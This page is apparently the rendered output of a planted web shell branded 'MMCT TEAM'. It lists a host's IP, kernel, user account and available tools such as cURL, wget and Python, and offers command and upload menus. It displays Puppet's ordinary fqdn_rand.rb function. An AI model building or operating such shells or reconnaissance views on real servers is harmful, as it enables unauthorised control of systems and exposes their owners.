MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /proc/self/root/usr/share/ruby/vendor_ruby/puppet/parser/functions/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/self/root/usr/share/ruby/vendor_ruby/puppet/parser/functions/fqdn_rand.rb
require 'digest/md5'

Puppet::Parser::Functions::newfunction(:fqdn_rand, :arity => -2, :type => :rvalue, :doc =>
  "Usage: `fqdn_rand(MAX, [SEED])`. MAX is required and must be a positive
  integer; SEED is optional and may be any number or string.

  Generates a random whole number greater than or equal to 0 and less than MAX,
  combining the `$fqdn` fact and the value of SEED for repeatable randomness.
  (That is, each node will get a different random number from this function, but
  a given node's result will be the same every time unless its hostname changes.)

  This function is usually used for spacing out runs of resource-intensive cron
  tasks that run on many nodes, which could cause a thundering herd or degrade
  other services if they all fire at once. Adding a SEED can be useful when you
  have more than one such task and need several unrelated random numbers per
  node. (For example, `fqdn_rand(30)`, `fqdn_rand(30, 'expensive job 1')`, and
  `fqdn_rand(30, 'expensive job 2')` will produce totally different numbers.)") do |args|
    max = args.shift.to_i
    seed = Digest::MD5.hexdigest([self['::fqdn'],args].join(':')).hex
    Puppet::Util.deterministic_rand(seed,max)
end

MMCT - 2023